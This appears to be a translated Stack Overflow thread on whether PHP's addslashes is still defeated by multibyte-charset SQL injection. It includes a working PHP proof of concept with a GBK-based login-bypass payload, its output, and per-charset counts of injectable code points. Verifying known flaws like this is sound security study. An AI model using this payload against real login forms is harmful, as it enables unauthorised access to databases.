Функция addslashes в PHP SQL-инъекции еще в силе?

Я знаю, что "параметризованные запросы" - это Святой Грааль. Это не та тема.

есть старый пост, который, похоже, является ссылкой для всех обсуждений, связанных с SQL-инъекциями, когда используются addslashes.

это ссылка:http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

мой вопрос: Правильно ли это доказательство концепции? Я попытался проверить его, но addslashes, похоже, правильно работает. Кто-нибудь еще действительно пробовал это или все воспринимают это как должное ?

  • я добавил $db - >set_charset ("GBK");
  • я использовал gbk_chinese_ci для db / полей
  • журнал mysql показывает этот запрос
     SELECT *
            FROM   users
        WHERE  username = '�' OR username = username /*'
        AND    password = 'guess'
    

    так ясно, что трюк не работает

    обновление : пожалуйста, прочитайте вопрос, который я задаю. Мне не нужна передовая практика, мне не нужны альтернативы, мне просто нужно убедиться в этом. остается в силе или нет.

    обновление: также я хотел бы напомнить, что POC работает для наборов символов, таких как GBK, SJIS или BIG5, и все, кажется, забывают об этом. Создание заголовков звучит немного страшно, когда говорят, что addslashes небезопасно.

    решение : в моем случае mysql версии 5.5.9-log не позволяет встроенным комментариям, которые не завершены, как /*. Если я использую -- или # это работает.

  • 2 ответов


    Это, кажется, работает для меня.

    mysql:

    mysql> select version();
    +---------------------+
    | version()           |
    +---------------------+
    | 5.0.45-community-nt |
    +---------------------+
    1 row in set (0.00 sec)
    
    mysql> CREATE TABLE users (
        ->     username VARCHAR(32) CHARACTER SET GBK,
        ->     password VARCHAR(32) CHARACTER SET GBK,
        ->     PRIMARY KEY (username)
        -> );
    Query OK, 0 rows affected (0.08 sec)
    
    mysql> insert into users SET username='ewrfg', password='wer44';
    Query OK, 1 row affected (0.02 sec)
    
    mysql> insert into users SET username='ewrfg2', password='wer443';
    Query OK, 1 row affected (0.03 sec)
    
    mysql> insert into users SET username='ewrfg4', password='wer4434';
    Query OK, 1 row affected (0.00 sec)
    

    PHP:

    <pre><?php
    echo "PHP version: ".PHP_VERSION."\n";
    
    mysql_connect();
    mysql_select_db("test");
    mysql_query("SET NAMES GBK");
    
    $_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
    $_POST['password'] = 'guess';
    
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    mysql_set_charset("GBK");
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    

    результат:

    PHP version: 5.3.3
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(30) "\ї\' OR username = username /*"
    int(0)
    string(3) "gbk"
    

    выводы:

    второй результат будет самым удивительным для тех, кто скандирует "вы должны использовать mres вместо addslashes!"


    для вас '�\' Я предполагаю, что вы использовали 0x??5c многобайтовый символ вместо 0x??27 многобайтового символа.

    Я получил следующие результаты на моем сервере (количество протестированных кодовых точек, приводящих к успешным инъекциям):

    • SJIS: 47/47
    • SJIS-win: 58/58
    • EUC-CN: 0/95
    • CP936: 126/126
    • большой-5: 89/94
    • EUC-KR: 0/93

    Я не тестировал другие доступные кодировки MySQL, так как они не были доступны в PHP mbstring extension, поэтому у меня не было быстрого способа определить, какие многобайтовые символы существовали в этих кодировках. Я также пробовал только двухбайтовые символы, поэтому могут быть более уязвимые наборы символов.

    кроме того, это помогает, если данные таблицы находятся в той же кодировке, что и клиент. В противном случае вы получите " незаконное сочетание ошибки сортировки " для многих потенциальных кодовых точек.